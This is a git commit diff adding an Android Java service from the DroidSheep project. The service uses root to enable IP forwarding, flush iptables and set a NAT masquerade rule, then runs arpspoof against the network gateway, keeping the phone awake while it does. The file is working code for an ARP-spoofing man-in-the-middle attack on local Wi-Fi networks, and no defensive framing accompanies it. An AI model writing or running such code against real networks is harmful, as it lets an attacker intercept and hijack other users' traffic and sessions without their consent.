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KillerGoldFisch · Sep 9, 2011 · 6769a05 · 6769a05
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diff --git a/...sheep/DroidSheep_public/src/de/trier/infsec/koch/droidsheep/services/ArpspoofService.java b/...sheep/DroidSheep_public/src/de/trier/infsec/koch/droidsheep/services/ArpspoofService.java
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+/*
+ * The arpspoof package containts Software, initially developed by Robbie
+ * Clemons, It has been used, changed and published in DroidSheep according the
+ * GNU GPL
+ * Changed by Andreas Koch according the GPL in August 2011
+ */
+
+/*
+ * ArpspoofService.java implements the background service that controls running
+ * the native binary Copyright (C) 2011 Robbie Clemons <[email protected]>
+ * 
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * 
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * 
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 51
+ * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+package de.trier.infsec.koch.droidsheep.services;
+
+import java.io.IOException;
+
+import de.trier.infsec.koch.droidsheep.activities.ListenActivity;
+import de.trier.infsec.koch.droidsheep.arpspoof.ExecuteCommand;
+import de.trier.infsec.koch.droidsheep.helper.Constants;
+import de.trier.infsec.koch.droidsheep.helper.SystemHelper;
+
+import android.app.IntentService;
+import android.content.Context;
+import android.content.Intent;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.util.Log;
+
+public class ArpspoofService extends IntentService {
+
+	private final 			String IPV4_FILEPATH = "/proc/sys/net/ipv4/ip_forward";
+
+	private final 			String IPTABLES_CLEAR_NAT 	= "iptables -t nat -F";
+	private final 			String IPTABLES_CLEAR		= "iptables -F";
+	private final 			String IPTABLES_POSTROUTE   = "iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE";
+	private final 			String IPTABLES_ACCEPT_ALL  = "iptables -P FORWARD ACCEPT";
+
+	private static final 	String TAG = "ArpspoofService";
+	private volatile 		Thread myThread;
+	private static volatile WifiManager.WifiLock wifiLock;
+	private static volatile PowerManager.WakeLock wakeLock;
+
+	public ArpspoofService() {
+		super("ArpspoofService");
+	}
+
+	@Override
+	public void onHandleIntent(Intent intent) {
+		Bundle bundle = intent.getExtras();
+		String localBin = bundle.getString("localBin");
+		String gateway = bundle.getString("gateway");
+		String wifiInterface = bundle.getString("interface");
+		final String command = localBin + " -s 1 -i " + wifiInterface + " " + gateway;
+
+		SystemHelper.execSUCommand("chmod 777 " + SystemHelper.getARPSpoofBinaryPath(this), ListenActivity.debugging);
+		SystemHelper.execSUCommand("echo 1 > " + IPV4_FILEPATH, ListenActivity.debugging);
+
+		SystemHelper.execSUCommand(IPTABLES_CLEAR, 		ListenActivity.debugging);
+		SystemHelper.execSUCommand(IPTABLES_CLEAR_NAT, 	ListenActivity.debugging);
+		SystemHelper.execSUCommand(IPTABLES_POSTROUTE, 	ListenActivity.debugging);
+		SystemHelper.execSUCommand(IPTABLES_ACCEPT_ALL, ListenActivity.debugging);
+
+		PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
+		WifiManager wm = (WifiManager) getSystemService(Context.WIFI_SERVICE);
+		wifiLock = wm.createWifiLock(WifiManager.WIFI_MODE_FULL, "wifiLock");
+		wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "wakeLock");
+		wifiLock.acquire();
+		wakeLock.acquire();
+		try {
+			myThread = new ExecuteCommand(command, false);
+			myThread.setDaemon(true);
+			myThread.start();
+			myThread.join();
+		} catch (IOException e) {
+			Log.e(TAG, "error initializing arpspoof command", e);
+		} catch (InterruptedException e) {
+			Log.i(TAG, "Spoofing was interrupted", e);
+		} finally {
+			if (myThread != null)
+				myThread = null;
+			if (wifiLock.isHeld()) {
+				wifiLock.release();
+			}
+			if (wakeLock.isHeld()) {
+				wakeLock.release();
+			}
+			stopForeground(true);
+		}
+	}
+
+	@Override
+	public void onDestroy() {
+		//at the suggestion of the internet
+		if (myThread != null) {
+			Thread tmpThread = myThread;
+			myThread = null;
+			tmpThread.interrupt();
+		}
+		SystemHelper.execSUCommand(Constants.CLEANUP_COMMAND_ARPSPOOF, ListenActivity.debugging);
+//		SystemHelper.execSUCommand("echo 0 > " + IPV4_FILEPATH, ListenActivity.debugging);
+	}
+}